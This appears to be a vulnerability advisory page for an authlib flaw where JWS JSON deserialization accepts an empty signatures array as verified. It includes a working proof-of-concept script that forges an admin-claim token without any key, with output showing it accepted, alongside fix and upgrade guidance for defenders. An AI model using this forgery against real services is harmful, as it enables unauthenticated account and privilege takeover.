CVE-2026-96760 — Authlib: empty signatures validation in authlib
Authlib: empty signatures validation in JWS JSON deserialization
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.43%). Schedule for your next planned update.
Does your project use an affected authlib version?
Paste your requirements.txt to check it for CVE-2026-96760 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
Root cause
authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:
is_valid = True # set before anything is checked
for header_obj in obj["signatures"]: # empty array means the body never runs
jws_header, valid = self._validate_json_jws(...)
if not valid:
is_valid = False
...
if is_valid:
return rv # returns the payload as verified
is_valid is initialised to True and only ever set to False from inside the loop. A JWS JSON
Serialization object whose signatures array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.
Reproduction
import base64
from authlib.jose import JsonWebSignature
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}
print(jws.deserialize_json(forged, key=None))
Observed on authlib 1.8.0, Python 3.14, clean virtualenv:
[A] ATTACK general JSON, signatures:[] , key=None
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK general JSON, signatures:[] , key=<real key>
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
rejected: DecodeError Missing "protected" value:
[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.
For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with BadSignatureError. The correct behaviour already exists in your newer
library.
Impact
Any relying party that calls JsonWebSignature.deserialize_json() on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material.
What would fix it
In _deserialize_json, reject an empty signatures array before the loop, or initialise the flag
from the signature count, for example is_valid = len(obj["signatures"]) > 0. Pull request #938
proposes the same thing.
Advisory Timeline
- First published October 27, 2026 (30 days ago).
- Last revised October 27, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "authlib>=1.9.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| authlib PyPI · Affected: 0.1, 0.10, 0.11, 0.12 (+60 more) | 1.9.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-347Improper Verification of Cryptographic SignatureMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
References
- https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9hWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-96760ADVISORY
- https://github.com/authlib/authlib/pull/938WEB
- https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733WEB
- https://github.com/authlib/authlibPACKAGE
- https://github.com/authlib/authlib/releases/tag/v1.9.0WEB
- https://kb.cert.org/vuls/id/762428WEB
- https://www.kb.cert.org/vuls/id/762428WEB
Frequently Asked Questions
- What is CVE-2026-96760?
- Authlib: empty signatures validation in JWS JSON deserialization. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
- How do I check if my project is affected by CVE-2026-96760?
- CVE-2026-96760 affects authlib. It has a 0.4% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-96760 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 28.9% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-27962CRITICAL
Authlib JWS JWK Header Injection: Signature Verification Bypass
- CVE-2026-28802CRITICAL
- CVE-2026-28498HIGH
- CVE-2026-41425MEDIUM
- CVE-2026-44681MEDIUM
- CVE-2025-68158MEDIUM
Authlib has 1-click Account Takeover vulnerability
- CVE-2026-28490MEDIUM
- CVE-2026-41479MEDIUM